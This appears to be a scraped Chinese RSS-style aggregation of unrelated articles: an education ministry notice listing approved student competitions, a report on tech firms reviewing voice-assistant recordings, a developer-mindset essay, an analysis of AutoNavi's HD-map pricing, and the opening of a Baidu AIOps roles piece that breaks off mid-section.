各地教育行政部门要加强对竞赛组织实施的监督管理,一旦发现存在擅自扩大竞赛范围、强迫或诱导学生参赛、收费、推销书籍或商品、举办有关培训、竞赛成绩与中小学招生入学挂钩等违规行为的,要及时查处并将有关情况上报教育部。

教育部要求,各地要结合本地实际,研究制订行政区域内中小学生竞赛监管办法,特别要严格主办方资质,坚持“零收费”和公平自愿原则,严控面向义务教育阶段学生和学科类的竞赛活动。

中小学生全国性竞赛活动名单

科技创新类

  • 全国青少年科技创新大赛

  • 中国青少年机器人竞赛

  • 全国青少年创意编程与智能设计大赛

  • “童创未来”全国青少年人工智能创新挑战赛

  • 全国青少年电子信息智能创新大赛

  • 全国中小学信息技术创新与实践大赛

  • 全国中小学生创·造大赛

  • 青少年科学调查体验竞赛

  • “明天小小科学家”竞赛

  • 全国青年科普创新实验暨作品大赛

  • 全国中学生天文知识竞赛

  • 全国防震减灾知识大赛

学科类

  • 全国中学生数学奥林匹克竞赛

  • 全国中学生物理奥林匹克竞赛

  • 全国中学生化学奥林匹克竞赛

  • 全国中学生生物学奥林匹克竞赛

  • 全国中学生信息学奥林匹克竞赛

  • 世界华人学生作文大赛

  • 全国中学生科普科幻作文大赛

  • 叶圣陶杯全国中学生新作文大赛

  • 高中生创新能力大赛

  • “外研社杯”全国中学生外语素养大赛

  • 中国日报社“21世纪杯”全国英语演讲比赛

  • “希望杯”全国数学邀请赛

  • “地球小博士”和“环保之星”全国地理科普知识大赛

艺术体育类

  • 全国中小学生绘画书法作品比赛

  • 中日青少年书画友好交流大赛

  • 全国青少年科学影像大赛

  • 丝路国家青少年国际摄影竞赛

校外培训机构禁止开展全日制培训。此外,教育部针对近年来一些社会培训机构擅自招收适龄儿童、少年,以“国学”“女德”教育等名义开展全日制教育,替代义务教育,和极个别父母或者其他法定监护人送子女去培训机构或在家学习的情况,教育部将于今年上半年部署开展全面排查,对机构或个人违法、违规导致适龄儿童、少年未接受义务教育的行为,坚决予以纠正,依法依规严厉查处问责。

亚马逊、苹果和 Google 都有雇员听语音助手的录音

$
0
0
亚马逊、苹果和 Google 都有员工,从智能助手和语音助手应用程序中收听客户语音录音, 引发如何界定窃听和隐私的议论纷纷。彭博社在采访亚马逊“审听过”其智能语音助手 Alexa 录音的工作人员后,突出报道这一话题。上述三家公司都表示,偶尔会对语音录音进行审听,以提高语音识别能力。一些审听人员告诉彭博社记者,他们在内部聊天室里也会互相分享有趣的语音录音片段。他们也描述曾听到令人不安的片段,比如有可能发生的性攻击。亚马逊发布声明表示,它认真对待客户安全和隐私。审听客户录音样本有助于训练语音识别和自然语言理解系统,绝不允许滥用其制度。声明称,亚马逊的审听雇员也无法直接了解能确认客户身份的资料。

技术 in Netflix

$
0
0

综合市面上的公开资料总结了Netflix在技术上面的一些实践和创新,从中能够得到不少启发和提示。

来自公司内部分享

你已经是一个成熟的码农了,这些思维习惯你要有

$
0
0
不想成为好程序员的码农不是好工程师。出色的码农都具备怎样的思维习惯?这里有 25 条成熟的小建议。

「即使进行小的软件变更也很困难!」

「进行变更会破坏软件的特性。」

「修复一个 bug 的同时又引入了一个新的 bug...」

「实现的是没有必要的代码。」

「代码太复杂了!几乎不可能向其中添加新的特性。」

「这产品永远不会交付不了了!」

「抛弃旧代码吧!重头开始写。」

你是否对上面的这些话感到熟悉呢?

世界上每个角落的开发者,每一分钟都在说着(或想着)这些,亚历山大到想哭!这是为什么呢?

这些都是开发者们经常讨论的常见问题。每个开发团队都经历过这些故事。

有许多小的因素会逐渐侵蚀开发人员的项目。它们不会立即造成破坏,而是日积月累,甚至一年或更长的时间内都看不出来。所以当有人指出这些因素时,通常听起来没有什么危害。

即使你开始实施,也可能看起来一切正常。但随着时间的推移,尤其是随着这些东西越积越多,情况也会变得越来越复杂,直到你成为这个「常见恐怖故事」的又一个受害者。

为了避免成为受害者之一,你应该牢记几条软件的基本定律。你应该培养一种开发者必备的思维模式。这种思维模式会帮助你在日常编程过程中做出更好的决定。你可以让你的软件尽可能的简单,防止它成为一个无法管理的复杂系统。

接下来,本文将列出 25 条开发者必须掌握的要点。

1. 构想软件的用途

首先,你需要明白软件的用途。也就是说,实际上所有软件的用途只有一个:帮助人们!

请记住:软件的用途并不是炫耀你有多聪明。

不能构想出软件用途的开发者将写出糟糕的软件。什么是糟糕的软件呢?就是那些对人们没什么帮助的系统。

在对软件做出决策的时候,你应该牢记下面的指导原则:我们如何才能为人们提供帮助?你甚至可以通过这种方式对软件特性的请求进行优先级排序。

2. 明确软件设计的目标

每个程序员都是一个设计师。

当难以创建或修改软件时,开发者往往会将大部分时间花在让软件「能用就行」,而不是关注如何帮助用户。

软件设计的目的是尽可能简化开发人员的工作,这样他们就可以专注于重要的事情。你将创建能够帮助用户的软件,并且你的软件将在很长一段时间内持续对用户提供帮助。

然而,如果你设计了一个糟糕的系统,你的软件生命周期将会很短。

这就向我们指明了软件设计最重要的目标:

设计出开发人员能够尽可能容易创建和维护的系统,从而使这些软件能够持续地为用户提供帮助。

所以设计时有两个关键点:方便自己,帮助他人。

3. 正确理解自己开发的东西

无法完全理解自己作品的开发者往往会开发出复杂的系统。这会招致一个恶性循环:对软件的误解会导致复杂性增加,反过来又会进一步加深对软件的误解,循环往复。

事实上,提升设计技能的最佳方法之一就是:保证你对开发的系统和工具有充分的理解。

对软件的理解程度是优秀开发者与蹩脚开发者之间最关键的差别。

蹩脚的开发者并不能理解他们所做的东西,而优秀的开发者则对此有很清晰的认识。就是这么简单。

4. 简洁

简洁是终极的复杂    ——达芬奇。

编程是化繁为简的艺术。「蹩脚的开发者」无法降低程序复杂性,而「优秀的开发者」会尽其所能简化其代码,使其易于被其他开发者理解。

一名优秀的开发者会创建一些易于理解的东西,这样就很容易发现所有的 bug。 

现在的开发者都是聪明人,没有人喜欢被当做傻瓜来对待。具有讽刺意味的是,有时候这种心态却会导致他们创造出复杂的东西。他们大体上是这么想的:

「其它的开发者会能够理解我写的这些代码。所以我应该写出一些难以理解的绝妙代码,这样他们就会认为我很聪明。」

这是一种不良心态导致的错误,并不一定是由于缺乏编程技巧。大多数编程中的失败都是由这样的心态造成的。

炫耀你有多聪明并不能帮你写出好程序。

刚接触你的代码的开发者对这样的代码并没有什么了解,他们必须研究一阵子。

所以,你应该问自己:「我是想让人们理解我的代码并感到快乐,还是希望他们感到困惑和沮丧呢?」

事实上,如果其他阅读代码的开发者能够很容易地理解它,这说明你的代码写得很棒。

复杂与智慧无关,简单却与之相关。——Larry Bossidy

那么问题来了:「应该让代码有多简洁?」

你的答案应该是:「让它变成傻瓜式的代码,任何人都能读懂。」

5. 控制复杂度

控制复杂度是计算机编程的本质。—— Brian Kernighan

复杂性是许多软件失败的根源。一开始,你要做的可能是一个在一个月内就能完成的项目。

接着,你增加了程序的复杂性,使得这项任务需要三个月才能做完。

然后,你又开始加入了一些满足其它用途的新的特性。由于你无缘无故地扩展了软件的用途,这件事开始变得十分复杂,需要六个月才能完成。

但是,这还没完。

接下来,你考虑了每个特性并让整个软件变得更复杂,导致软件需要九个月才能完成。然后,由于代码的复杂度提高,又引入了许多新的 bug。

自然而然地,你开始着手修复这些 bug,然而你并没有考虑到这些修复对程序的其余部分有何影响。

最终,即使是很小的更改也会变得十分困难。当 bug 修复开始引入新的 bug 时,你将不得不面对最流行的编程恐怖故事:从头开始重写代码!

那么,你是如何成为这个恐怖故事的受害者的呢?或者说,更多人应该关心:我们如何才能避免成为这个受害者?

其实很简单。首先,你需要确切地弄清楚你软件的用途及其定义。其次,你需要使你所编写的每段代码尽可能简洁。第三,当一个新的特性或变更请求出现在讨论表中时,你需要基于你软件的用途对它们进行评估,并提出问题。

作为一名开发者,你的第一反应应该是抵制(不必要的)软件变更。这将防止你向软件中添加不必要的代码。当你确信这项变更是必要的时,你可以去实现它。

有许多因素会提高软件的复杂度,但本文提到的这些是最常见的因素。除此之外,你还应该遵循一条原则:你的主要目的是降低复杂度,而不是增加复杂度。

6. 维护

维护是软件开发中最重要的事情之一。很遗憾,开发人员通常会忽略它的重要性。快速编码和快速交付看起来比代码维护更重要。这就是错误的所在——忽视未来的代码维护。

总有一些变更需要实现。不仅必须实现,你还要随着时间的推移维护它们。作为开发人员,考虑未来变更的维护是你的主要职责之一。

所有的变更都需要维护。

简洁性和复杂性是影响代码维护的两个主要因素。任何软件的易维护性都与其各个部分的简洁性成正比。维护的工作量与软件的复杂度成正比。

关于维护,你应该遵循的一条原则是:减少维护的工作比减少实现的工作更重要。

7. 一致性

一致性是简洁性的重要组成部分。如果你在某处用一种方式做了某件事,那么你应该在所有的地方都用这种方法做这件事。例如,如果你将一个变量命名为「thisIsVariable」,那么你所有的变量都应该以这种方式命名(「otherVariable」、「anAnotherVariable」等。而不是「other_variable」)。

缺乏一致性的代码很难被理解。不要让开发者每次阅读一段来自你的系统的新代码时,都要重新学习你系统的规则。

在所有的团体运动中,最好的队伍都是一致的,并产生化学反应。——Roger Staubach。

8. 优先级

你应该如何为你的软件做出决策呢?

当你面临许多可能的方向时,你如何决定哪种选择是最好的?你应该关注什么?应该实现哪些特性?

要回答这些问题,有三个重要的因素可以帮助你做出更好的决策:

  • 变更的意愿(D):你有多想做出该变更?

  • 变更的价值(V):该变更带来了多少价值,或者说对你的用户有多大帮助?

  • 执行变更所需要的工作量(E):变更需要做多少工作?

计算的公式很简单:D=V/E

任何变更的意愿都直接与变更的价值成正比,与进行变更所需的工作量成反比。

当你对工作进行优先级排序时,应该遵循以下的原则:那些为你带来很大价值而需要的工作量很少的变更,要比那些没有价值却需要付出很多努力的变更要好!

9. 解决问题

第一步是理解。你需要清楚地知道要求是什么。大多数难题之所以难,是因为你不理解它们。把你的问题写下来,试着向别人解释。

如果你不能用简单的语言来解释某件事,你就没有理解它。——理查德·费曼

第二步是计划。不要马上开始行动,稍微停一下。给你的大脑一些时间来分析问题和处理信息,但不要花太多时间在计划上。

三思而后行。

第三步是分而治之。不要试图一次解决一个大问题。当你从整体上看问题时,你会感到害怕。把它分解成更小的任务,逐个解决每个子问题。一旦你解决了每个子问题,你就可以把这些点串联起来了。

10. 够用即可

「完美是良好的敌人。」——Voltaire

无论是创建一个新项目,还是向现有的系统添加一个新特性,开发者都倾向于从一开始就对所有事情进行详细的规划

他们希望第一个版本是完美的。他们并不关注将要解决的问题以及他们的软件将如何帮助人们。他们从能想到的每一个小细节开始。接着会进行假设和预测,然后他们会想「如果... 会怎么样?」

他们不得不预测未来,因为他们现在是如此着迷于脑海中想象出的项目,他们的项目必须像他们想象的那样完美。

事实上,他们并不知道等待他们的是什么,也不知道追求完美会让他们付出多少代价。

让我告诉你会发生什么吧:

你将写出一些实际上并不需要的代码

你将因为加入了不必要的代码而增加复杂度

你将会焦头烂额

你将错过 deadline

你将处理由于高复杂度引起的许多 bug

你想让这一切发生吗?我想不会吧。

那么你应该怎么做呢?

从小的开发原型做起,不断改进它,然后进行扩展。

你应该将增量开发作为行动指南。你可以带着这种思想通过下面的步骤设计一个计算器:

  1. 计划做出一个只做加法而不做其它事情的系统。

  2. 实现它。

  3. 改进现有系统的设计,这样你可以加入其它的操作。

  4. 计划减法并重复步骤 2 和 3。

  5. 计划乘法并重复步骤 2 和 3。

  6. 计划除法并重复步骤 2 和 3。

11. 预测

「预测就是简单地预想未来会发生什么事情。这可能是真实的,基于某种客观数据,也可能是基于假设」。

想到他们的代码可能会在未来进行变更,一些开发者试图通过设计通用的解决方案来解决这个问题,他们相信这个解决方案能够适应未来所有可能的情况。

软件过于通用意味着会写出很多没有必要的代码。

你无法预测未来,因此,无论你的解决方案多么通用,它都不足以满足你未来的实际需求。最有可能的是,你所预测的情况永远不会到来,而你为解决未来问题而编写的代码将增加复杂度,使变更代码片段变得困难,最终它将成为一种负担,可能会毁掉你的软件。

不要预测未来。只要实现你现在应该实现的功能即可。

12. 假设

什么是假设?

「假设是某些你接受为真或相信为真的事,尽管你没有确凿的证据。」

假设是软件项目的一大杀手。让我们看看假设是如何扼杀一个软件项目的。

开发者知道他们必须开发一个系统来做 X。然后他们认为系统将来会要求他们去做 Y,然后他们去实现 Y。于是他们就写了数千行代码来设计 Y。

到了后来,开发者会认识到当前的需求与他们所想的完全不同。但现在,该软件有了一些不必要的代码。这些代码很难扔掉,因为所有的东西都是相互交织的。重构代码需要花费几个月的时间,而现在他们认为从头开始重写整个软件将导致他们浪费几个月的时间。

为了避免成为这样的开发者,你应该遵循这个原则:基于你现在所知道的事情设计代码,而不是你认为将来会发生的事。

13. 不要重造「轮子」

举个例子,假如现在已经有一个很完美的垃圾回收器了,你还想自己发明一个,那么你将花费大量的时间来开发这个垃圾回收器,而你本来可以只专注于开发你的软件。

只有当下面的任何一种情况成立,你才应该重新去发明「轮子」:

  • 你需要一些还不存在的东西。

  • 所有现有的「轮子」都太糟糕了,或者都无法满足你的需求。

  • 现有的「轮子」没有得到适当的维护。

你要遵循的简单原则是:尽量不要重新发明「轮子」。

14. 学会拒绝

作为开发人员,你对于变更申请的第一反应应该是「不!」

永远要学会抵制添加更多的代码、更多的特性,直到你确信它们是必需的,并且有必要实现他们。因为不必要的变更会增多软件中的缺陷。

你怎么知道它们是必需的呢?

请回顾并牢记软件的用途。然后记住「优先级排序」!

15. 自动化

不要把时间浪费在重复的劳动上。将这些任务设置好,然后忘掉它们。它们可以在你睡觉的时候工作。

当你发现自己在一次又一次地做某件事时,尽量把它自动化!

16. 代码衡量

根据代码行数来衡量编程进度就像用重量来衡量飞机建造进度一样。——比尔盖茨

我看到有些开发者根据代码的行数来衡量他们的软件质量。他们认为代码行越多意味着他们做得越好。他们的软件包含数十万行代码,就意味着他们开发的软件非常庞大。

那么问题来了:它真的有那么大吗?还是哪里出了点问题?

最有可能的答案是:他们的设计有问题。大多数简单的解决方案不需要很多代码。你可以使用少量代码实现软件的简洁性并解决问题。

我并不是说代码越少越好。当你想避免上述状况而使用更少的代码时,很容易掉进「陷阱」中,然后写出一些别人难以理解的「聪明」代码。你应该找到一个平衡点。

最好的代码是一小段易于理解和阅读的代码。

17. 工作效率

你如何衡量自己的工作效率?

通过编写更多行的代码?还是通过扔掉数百行代码?

你的主要目标应该是让代码库尽可能的小,问题不在于「如何编写更多代码?」而应该是「如何删除更多代码?」

「我工作效率最高的一天扔掉了 1000 行代码。」——Ken Thompson

18. 代码测试

什么时候应该将日志和错误处理记录添加到项目中?

你应该在很早的阶段就添加日志。这将帮助你轻松地找到问题并节省你的时间。

我发现在代码测试阶段,容易发现很多错误。举个例子,有两个条件,一个简单的 if-else 代码块。开发者将输入传给软件,软件将进入 if 代码块中,开发人员对其进行了测试,并将代码提交给源代码管理。这个部分的测试就完成了!

但是其它程序块呢?当软件被交付到生产环境中时,会导致很多错误。当你测试代码时,必须至少执行一次所有的新代码行,并且应该在进行整体测试之前测试对每部分进行测试(执行集成测试和系统测试之前进行单元测试)。

当你要处理一个 bug 时,首先你应该重现它。你不应该猜测错误的来源并给予你的假设应用补丁。你很可能想错了。在应用补丁之前你应该亲眼看到这个 bug。

你应该要靠谱一些。当团队中的其他开发者看到你向版本控制工具提交了新代码时,每个人都应该明白你的代码已经经过了测试,能够正常工作。

没有经过测试的代码是不能正常工作的代码。

19. 低估开发难度

开发者不太擅长估计软件的开发难度。

通常,他们会低估而非高估事情的难度。他们会低估开发少量代码或特性所需的时间和工作量。最终,这种低估会导致他们错过 deadline。

这个问题的解决方案是:把大项目分解成多个小项目,事情越小就越好估计。你可能仍然会出错,但是你所犯的错误会比估计一个大型项目时要少得多。

请记住:每件事所花的时间都比你想象得更长。

20. 远离重写代码

我相信,如果你接受了上面提到的软件开发基本原则的话,你不会走到这一步。然而,如果你不小心犯了这些错误,并在考虑重写代码的话,那么你要知道的一件事是:重写代码通常是开发人员的错觉,在大多数情况下这并不是正确的解决方案。

为什么这是一种错觉?

因为读代码比写代码难。这就是为什么重用代码如此困难的原因,也是为什么当我们读到其他开发者写的代码时,我们的潜意识会悄悄告诉我们「把它扔掉,重新写」。

在很多情况下,你可能会考虑从头开始重写代码。但是,给你条简单的建议:重构应该是第一选择。

21. 文档和注释

关于注释的一个常见误解是:开发者应该添加注释来说明代码的作用。这是错误的!从代码中就可以明显看出它在做什么。如果这一点不明显,说明代码的可读性很差,你要让代码变得更简单。

当你不能让代码变得更简单时,你应该添加注释来解释这种复杂性。

注释的真正目的是解释「为什么」要做某事,而不是代码「在做什么」。如果你不解释这一点,其他程序员可能会感到困惑,所以当他们变更你的代码时,可能会删除其中的重要部分。

因此,写一条注释来解释「为什么」,而不是解释「是什么」。

另一件需要注意的事是撰写文档。用文档来解释你的软件架构、每个模块和组件很重要。这是从高层次来查看软件所必需的。当一个新的开发者加入你的团队时,他将更容易理解整个软件。

当开发者对软件的其他部分一无所知时,他们很容易在自己负责的部分犯错误,这也会影响其他部分。

22. 选择技术(工具,程序库,等等)

首先,你要牢记这条规则:不要过于依赖外部技术或尽可能减少对它们的依赖。

这是为什么呢?因为它们是复杂性的另一个常见来源。它们会扼杀你的积极发展,让一切变得更加困难。当你严重依赖于外部技术时,你就不是自由的。

如果该技术存在重大缺陷怎么办?你必须等待开发人员来修复这个 bug,如果这个技术是你项目的核心,你基本上就会卡在这里,无法继续工作。因此,为你的项目选择正确的技术非常重要。

在开始使用某些技术之前,你应该考虑以下几个因素:

  • 它的发展前景如何?

  • 它会被继续维护下去吗?

  • 换掉它容易吗?

  • 技术社区对它看法如何?

如果你能找到这些问题的正确答案,就能降低选择错误技术的风险。

23. 提升自我

保持学习的状态。尝试不同的编程语言和工具,阅读软件开发方面的书籍。它们会为你提供另一种视角。每天的小小进步都会让你的知识和技能产生质变。

要有开放的心态。不要痴迷于一种技术。使用所需的技术去解决特定的问题。不要参与没意义的讨论,比如「微软和 Linux 哪个好用?」

要知道每个特定的问题都有特定的解决方案

24. 不要逞英雄

很多时候,及时放弃比逞英雄要好。

比如说,你觉得某个任务你能在两个小时之内完成。但是四个小时过去了,你仍然只完成了四分之一。

你的本能应该是这样想的:「我现在还不能放弃啊,我已经在这上面花了四个小时了!」

所以你开始逞英雄,下定决心要完成它(但尴尬的是,但仍然没有成功)。于是,你开始闭门造车。

不要过于偏执!要学会及时止损。不要羞于求助。

25. 不要立马提问,适时寻求建议

当你要实现某些东西,但又不确定解决方案时,不要去问别人怎么做,至少不要马上去问。相反,去尝试任何你能想到的办法。当你对某种概念或语言越不熟悉时,这一点越重要。

当你自己不能想通任何问题的时候,去搜索!找出答案并试一试。修改这些答案,看看你是否能够理解它们为什么起作用,并改写它们,让它们适应自己的代码。

但同时也一定要学会寻求建议。

当你尝试了所有方法,特别是有了一个可行的解决方案之后,就是你寻求建议的最佳时机了。

你可以请同行和高级开发者帮你检查代码。

原文链接:https://medium.freecodecamp.org/learn-the-fundamentals-of-a-good-developer-mindset-in-15-minutes-81321ab8a682

高德“成本价”:高精地图的一次行业现实折射

$
0
0

0.png

不但我们普通人用的地图免费,车企们要用的高精地图也号称要“成本价”了。

4月11日,高德地图在北京举行“高精宣言”媒体沟通会,宣称将以“成本价”提供标准化高精地图——每台车每年使用费不超过100元。

作为自动驾驶最关键的工具,高精地图为地图玩家们催生了一个庞大的B端市场。媒体沟通会上,高德表示,未来L3级别自动驾驶将量产,高德要将成果“共享”。

很明显,高德是要凭借“成本价”提前占位,在与百度地图、四维图新等企业的竞争中先走一步。

对整个行业来说,高德的行动,从侧面反映了这个与自动驾驶伴生的细分领域真正发生激烈的争斗。但种种迹象显示,靠这样的价格战可能既难以赢得竞争优势,也无法推动行业更快发展。

“覆盖率”与“要素识别”始终是高精地图的两大竞争核心

“成本价”改变不了高精地图的竞争现实:横向的覆盖率与纵向的要素识别,始终是高精地图竞争优势来源。

1、可用性加速递减,行业玩家都必须追求100%覆盖率

自动驾驶服务,高精地图的第一关是十分关键的“覆盖率”。

在舆论中,经常发现高德地图、百度地图、四维图新这三个主要高精地图玩家有这样的类似表述:

高德地图:“规模第一”,覆盖大陆地区高速及城市快线;

百度地图:完成对全国高速、城快道、封闭园区、地下停车场等超过30万公里路段的覆盖;

四维图新:2019年即将完成全国高速及城市快速路的覆盖,总里程达到30万+。

很明显,几个地图巨头在高精地图上的比拼,首先都体现在能否尽可能多地覆盖城市及高速线路上。

这是不难理解,自动驾驶L3十分依赖高精地图,盲区越少越好,否则开着开着地图系统就不支持了,强制转到手动驾驶,这种体验无疑很难让人接受。

如图,是某高精地图平台的路段覆盖案例,显示高架接驳十分顺畅,无“盲区”,自动驾驶在正常情况下将不会“卡顿”:

1.png

而对自动驾驶来说,由于用户体验普遍厌恶“中断”,高精地图的可用度,往往随着覆盖率的下降而加速下落,覆盖率不用下降太多,整体可用性就会大大降低。其过程可近似用如下曲线表达:

2.png

在这种情况下,高精地图覆盖率只有接近100%才有高可用性,才具备对合作伙伴的现实商用价值,让车企们不至于被那些总是在不断切换操作模式的消费者咒骂。

只不过,与各大玩家自顾自说不同,在覆盖率的实测中,现实应用可能并不如说的那么美好。

据网络上已知的数据,某机构对高德高精地图应用车型CT6进行实测,该测试机构选取北京市首都环线(含)以内的高速、城市快速路和城市环线随机抽样验证,测试期2天,里程626.4公里,在高德高精地图支撑的CT6 Super Cruise系统中,出现“无道路信息”的里程达162.1公里,覆盖率74.12%。

不能覆盖的路段,主要集中在JCT、收费站、隧道等路段,此外,城市快速路、城市环线、高速公路均有不同程度未覆盖路段。

必须说明的是,由于高精地图的覆盖尚未有官方权威评测结果可采信,单纯机构评测可能不够准确,也不值得作为唯一结果采纳。

但是,如果一次普通的测试,就发现高精地图存在如此大段的盲区,这表明整个地图体系覆盖率可能并不能算优秀,这对可用性可能有较大影响。

这和手机信号的覆盖是一个道理,越接近100%越好。一般人拿个手机出去转了两天,就发现大量无信号区域,运营商的信号覆盖肯定是有大问题的。

与此同时,报告还给出了百度地图的覆盖情况,除了2016-2017年新开通的京秦高速和首都环线未覆盖,城区及郊区路段百度地图实现了全覆盖,看起来,百度在覆盖率上表现更好一些。

2、纵向上代表自动驾驶技术深度的要素识别,只能是越多越好

除了打“覆盖率”这张牌,高精地图在“要素”的种类上也你追我赶。

所谓“要素”,指的是路况的构成部分,典型的包括车道线、路沿护栏、交通标牌、路灯杆、各种绿化等,其种类繁多,识别它们对人来说十分简单,但对AI来说,需要尽可能多地外部输入和训练。

显然,要素识别能力的不足,与覆盖率不高造成的结果类似,AI眼中闯入“不明物体”,可能造成的后果难以预料,因此,要素的种类也是越多越好,最好能够通吃。

高德地图宣称其数据维度涵盖67项具体要素,而百度方面则声称其要素达200多项,四维图新则称能识别“上百种”要素。

我们且不去谈论谁输谁赢,但毫无疑问,即便不去对比,AI懂得越多肯定越好,意外、不可控的可能性越低。至少在目前,高德的要素量肯定还有很大的提升空间和提升必要。

高德的媒体沟通会,也折射出行业玩家们的现实“小痛点”

除了关键的覆盖率和要素量造成的“精度”悬疑,高德的一场“成本价”沟通会,从中其实也能反映全行业的一些现实“小痛点”,不造成致命伤害,但又必须积极面对。

1、如何积累L3商业化经验

L3已经量产在即,高精地图现阶段都是冲着L3去的,但行业玩家们在积累L3商用实践经验上,可能都存在着一些问题。

以此次的主角高德为例,在沟通会上,高德十分强调其2018年实现量产的高精地图商业项目——通用汽车凯迪拉克CT6“超级巡航”(Super Cruise)功能。

高德声称基于这个功能,积累了“丰富的高精地图商业落地经验“。

看起来,CT6的Super Cruise对高德的商业实践很重要,然而,市场普遍认为,CT6只在L2.5级别,并未达到L3.0。自媒体“甲子光年”援引某地图行业从业者的话说,“(高德)拿到的凯迪拉克订单……做出来的图,到时候只有通用(凯迪拉克母公司)能用,无法用到未来L3级别的自动驾驶”。

一方面,是自动驾驶的“半代差”,另一方面,到了非通用系品牌下就“不通用”,CT6上的经验积累能用到其他身上多少,可能要打个问号。

其他玩家或多或少面临类似的问题,量产就要来了,但实践合作并不算多,且厂商之间的通用性也存在难题。

2、“审图号”政策难题如何破解

由于牵涉国家安全问题,地图测绘这件事在全球各国都被严加管理。

在我国,地理位置是被加密的,普通商用行为不允许完全拥有现实的地理位置,因而商用地图测绘必须将数据与测绘局一同测试和调整,才能避免加密抖动造成的误差影响自动驾驶

而测绘局在这方面向来慎之又慎,这不是普通的民用行为,而牵扯国家安全。

去年,高德地图在世界运输大会上,就宣称其高精地图“多轮专家会审,且已经通过,就差最后签字”,此后网络上似乎没有再发出新的消息,也不见相关的PR稿。2018年3月,国务院组成部门调整,国家测绘局面临整合,在这种情况下,拿下审图号这件事似乎更困难了。

高德单方面宣布其拿下了HD产品审图号,这可能还需要测绘局来认可。

这方面,百度地图、四维图新,乃至整个行业所有大大小小的玩家们,都没有实现突破,大家都还在与测绘局不断协作沟通当中。

3、对自动驾驶十分重要的“更新”做的怎么样

城市建设日新月异,道路状况每时每刻可能都在发生变化,尤其道路的要素组成由于数量多,其变动是常态化事件。

这在覆盖率和要素识别量之外,给高精地图提出了另外一个要求,如何将现实路况与地图信息尽快同步。

也即,高精地图不是静态的,而应该是高频动态的。

四维图新对外称其依托了所谓Map Learning地图学习体系,能够自动发现、处理变化,并通过分发平台实时发布,提供“最新鲜的高精度地图”,当然,这不是成本价。

百度地图则宣称其依托多源感知数据处理、云服务中心和数据中心等构成的Intelligent Map平台,可以实现分钟级的数据更新,当然,这目前也不是成本价。

整场沟通会,高德宣称在拥有67项具体要素的情况下,对如何更新这些要素并未提及。仅仅从“推销”的角度来看,“更新”服务是高精地图最重要的服务组成,“成本价”包含了什么样的更新与同步,得说清楚,这是售卖解决方案的必要姿势。

高德地图是否有意忽略不得而知,但更新一定是全行业十分重要的服务问题。

高精地图细分领域不能陷入“价格战”

高德的“成本价”既有明显的价格战意味,回顾“历史”也有复仇的意味。

6年前,2013年8月28日下午,百度导航宣布全面永久免费,当天晚上,高德地图不得不宣布即日起应用商店卖50元的APP可免费下载。

百度地图对普通用户的免费政策对高德造成了根本性冲击,使其后续发展难以再有突破。不久后的2014年4月,阿里完全收购高德,后者从美股退市。

百度地图的免费(也算价格战的一种),是移动互联网的一种必然,并非由百度决定。现在,战场转移到了B端市场上,高德打出“不挣钱”、“成本价”的口号,像是吸取了教训提前出招。

高精地图的市场值得期待,前瞻产业研究院预计到2020年高精度地图市场为120亿元,到2025年将达到600亿元,这在细分市场已经十分可观。

但是,在美好预期面前用“成本价”这种打法去拼B端市场,还是特殊的自动驾驶领域,如同“七伤拳”,伤敌多少不知道,自损肯定少不了。

目前,高精地图的测绘方式主要有三种:

A、专业测绘车,高精度,价格昂贵,价格在千万级别;

B、Low Cast采集车,中精度,价格中;

C、众包车,低精度,但成本低廉,只需向特定车主付费安装设备,在驾驶时自动采集即可,数量十分庞大。

高精地图测绘当前主要以第一二种模式为主,高昂的采集设备和人工制图费用,让高精地图的成本十分夸张。“甲子光年”报道,高德接到凯迪拉克的单子,“一个授权卖2000块,总计10000辆,总收入不过二千万,但是做这个地图得花几亿”。

而廉价的众包模式,至少在当下,不具备现实的可行性。

这是因为,来自ADAS自动驾驶辅助系统、行车记录仪和智能后视镜上的摄像头的众包数据,质量较差,分析起来需要极强的技术能力。

此外,众包的随机性不能保证路段的全覆盖,且不同路段由于行驶密度上的差异,达不到相同的精度。这种不均匀对数据分析是致命的,很难使用。

换句话说,众包是自动驾驶已经具备一定普及度的“结果”而不是从零开始的“原因”,大样本才能保证均匀性。

不只是高德,所有玩家,包括百度地图、四维图新、Here、Mobileye等,高精地图的成本将持续在高位一段时间。

对整个行业而言,这其实又变成了PK财力的过程,谁财大气粗谁就能把地图质量提得更高。只不过,如果陷入价格战,即便是阿里、百度等巨头,也只会是双输的局面。

而高德的“七伤拳”还未必能伤到别人,尤其是老对手百度

从汽车厂商的角度看,自动驾驶还处在小心翼翼的市场培育期,在这个阶段成本的考量是相对靠后的。100块每辆/每年看似收费不多,但如果体验不好、风评不佳,对本就十分严峻的汽车市场竞争中的品牌们将是更大的打击。

好用才是这个阶段的自动驾驶的首要关注点,让消费者对自动驾驶树立信心才是当前最重要的任务,没有这个前提,就算是免费也未必能赢得主机厂商的选择,只能把大家的水都搅浑。


AIOps 中的四大金刚

$
0
0

在传统的自动化运维体系中,重复性运维工作的人力成本和效率问题得到了有效解决。但在 复杂场景下的故障处理、变更管理、容量管理、服务资源过程中,仍需要人来掌控决策的过程,这阻碍了运维效率的进一步提升。而AI方法的引入,使得机器能够代替人来做出决策,从而让真正意义上的实现完全自动化成为了可能。

在AIOps的落地实施过程中,最关键的因素还是 ,即AIOps的建设者们。

AIOps作为一个全新的技术发展和应用方向,并不是简单地说具备某一种技能或招募一两个大牛就可以完成的,它需要不同角色、多个团队的配合才可以达成。根据近几年来整个业界对AIOps的理解和实践,AIOps参与角色的划分也越来越清晰。在百度4年的AIOps实践中,我们总结得出了如下四种不可或缺的角色:

  • 运维工程师

  • 运维研发工程师

  • 平台研发工程师

  • 运维AI工程师

可以看到,除了运维AI工程师外,其他角色并不是AIOps产生之后才出现的,他们在传统运维中也发挥了重要作用。我们今天主要想和大家探讨一下,在AIOps时代,他们的职责究竟发生了哪些变化。为了方便大家理解,我们会基于 百度AIOps的实践案例,来进行具体说明。

单机房故障自愈场景

单机房故障自愈是一个典型的AIOps落地项目。该方案主要解决的问题场景如下:某个业务由于网络、设备、变更、程序Bug、容量等原因造成故障,但故障范围仅局限在单个机房或单个Region内部。那么,我们可以基于流量调度等手段,将访问流量调度到非故障机房或Region,实现该类型故障的自动止损。

整个故障自愈过程分为如下几个阶段:

在这个过程中,需要AIOps四种角色分工明确、紧密配合,来完成整个AIOps解决方案的落地实现。在单机房故障自愈场景下,四种角色的关系如下图所示:

运维工程师

在单机房故障自愈项目中,运维工程师基于日常运维工作中所积累的场景、问题和经验,确定以单机房故障止损作为主要需求和突破口,通过定义单机房故障止损的 问题域解决思路以及 风险点,明确AI可以发力的领域。运维工程师的职责主要包括如下几个方面:

